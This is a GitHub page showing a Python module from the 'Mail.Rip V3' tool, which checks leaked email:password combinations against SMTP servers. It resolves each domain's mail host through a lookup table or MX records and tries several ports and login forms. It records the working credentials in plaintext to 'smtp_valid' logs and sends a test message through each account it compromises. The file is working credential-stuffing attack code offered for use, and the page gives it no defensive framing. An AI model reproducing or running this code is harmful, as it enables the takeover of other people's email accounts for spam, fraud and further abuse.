-
Notifications
You must be signed in to change notification settings - Fork 31
/
inc_attacksmtp.py
235 lines (224 loc) · 8.9 KB
/
inc_attacksmtp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#!/usr/local/opt/python@3.8/bin/python3
# -*- coding: utf-8 -*-
__author__ = 'DrPython3'
__date__ = '2021-12-06'
__version__ = 'BETA(1.2)'
__contact__ = 'https://github.com/DrPython3'
'''
---------------------------------------------
Functions for Checking Mailpass Combos (SMTP)
---------------------------------------------
Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >>
'''
# [IMPORTS]
# ---------
import sys
import ssl
import smtplib
import json
from inc_testmail import mailer
from inc_etc import result
from inc_mxlookup import get_host
# [VARIABLES AND OTHER STUFF]
# ---------------------------
try:
# load SMTP lists and dictionary from JSON files:
with open('inc_smtpports.json') as inc_smtpports:
load_smtpports = json.load(inc_smtpports)
smtp_ports = (load_smtpports['smtpports'])
with open('inc_smtpservices.json') as inc_smtpservices:
load_smtpservices = json.load(inc_smtpservices)
smtp_services = (load_smtpservices['smtpservices'])
except:
# on errors, set empty lists and dictionary:
smtp_ports = []
smtp_services = {}
# [FUNCTIONS]
# -----------
def smtpchecker(default_timeout, default_email, target):
'''
Main checker function (SMTP) including testmail sending in case a valid login is found.
:param float default_timeout: connection timeout set by user
:param str default_email: user email for sending testmail
:param str target: emailpass combo to check
:return: True (valid login), False (login not valid)
'''
# start the checking:
try:
# variables and stuff:
sslcontext = ssl.create_default_context()
output_hits = str('smtp_valid')
output_checked = str('smtp_checked')
output_testmail = str('smtp_testmessages')
target_email = str('')
target_user = str('')
target_password = str('')
target_host = str('')
target_port = int(0)
service_info = str('')
service_found = False
connection_ok = False
checker_result = False
email_sent = False
# included lists and dictionary for SMTP checker:
global smtp_domains
global smtp_ports
global smtp_services
# prepare target information:
new_target = str(str(target).replace('\n', ''))
target_email, target_password = new_target.split(':')
target_user = str(target_email)
# try to get host and port from dictionary:
try:
service_info = str(smtp_services[str(target_email.split('@')[1])])
target_host = str(service_info.split(':')[0])
target_port = int(service_info.split(':')[1])
# declare service details found:
service_found = True
except:
pass
# establish connection with any found service details:
if service_found == True:
try:
# SSL-connection:
if int(target_port) == int(465):
smtp_connection = smtplib.SMTP_SSL(
host=str(target_host),
port=int(target_port),
timeout=default_timeout,
context=sslcontext
)
smtp_connection.ehlo()
# declare connection established:
connection_ok = True
# regular connection:
else:
smtp_connection = smtplib.SMTP(
host=str(target_host),
port=int(target_port),
timeout=default_timeout
)
smtp_connection.ehlo()
# TLS:
try:
smtp_connection.starttls(
context=sslcontext
)
smtp_connection.ehlo()
except:
pass
# declare connection established:
connection_ok = True
except:
pass
# if connection failed or no service details found, try to find host:
if service_found == False or connection_ok == False:
try:
# try to get from MX records:
mx_result, found_host = get_host(default_timeout, target_email)
except:
mx_result = False
found_host = str('')
# if host found using MX records:
if mx_result == True:
target_host = str(found_host)
# get port:
for next_port in smtp_ports:
# SSL-connection:
try:
if int(next_port) == int(465):
smtp_connection = smtplib.SMTP_SSL(
host=str(target_host),
port=int(next_port),
timeout=default_timeout,
context=sslcontext
)
smtp_connection.ehlo()
# change variables for established connections:
target_port = int(next_port)
connection_ok = True
else:
# regular connection:
smtp_connection = smtplib.SMTP(
host=str(target_host),
port=int(next_port),
timeout=default_timeout
)
smtp_connection.ehlo()
# TLS:
try:
smtp_connection.starttls(
context=sslcontext
)
smtp_connection.ehlo()
except:
pass
# change variables for established connections:
target_port = int(next_port)
connection_ok = True
break
except:
continue
# checking for SMTP host with common domains deleted here!
# with connection established, check login details:
if connection_ok == True:
try:
try:
# user = email:
smtp_connection.login(
user=str(target_user),
password=str(target_password)
)
# declare login valid:
checker_result = True
except:
# user = userid from email:
target_user = str(target_email.split('@')[0])
smtp_connection.login(
user=str(target_user),
password=str(target_password)
)
# declare login valid:
checker_result = True
try:
smtp_connection.quit()
except:
pass
# write logs:
result_output = str(f'email={str(target_email)}, host={str(target_host)}:{str(target_port)}, login={str(target_user)}:{str(target_password)}')
result(output_hits, result_output)
result(output_checked, str(f'{new_target};result=login valid'))
# show found login on screen:
print(f'[VALID] {result_output}')
except:
result(output_checked, str(f'{new_target};result=login failed'))
# no connection established, write log:
else:
result(output_checked, str(f'{new_target};result=no connection'))
# with valid login, try to send testmail:
if checker_result == True:
try:
email_sent = mailer(
str(default_email),
str(target_email),
str(target_host),
int(target_port),
str(target_user),
str(target_password)
)
# write log for testmail:
if email_sent == True:
result(output_testmail, str(f'{new_target};result=testmessage sent'))
else:
result(output_testmail, str(f'{new_target};result=testmessage not sent'))
# if testmail fails, write log:
except:
result(output_testmail, str(f'{new_target};result=testmessage failed'))
return True
else:
return False
# on any errors while checking, write log before exit:
except:
result(output_checked, str(f'{new_target};result=check failed'))
return False
# DrPython3 (C) 2021 @ GitHub.com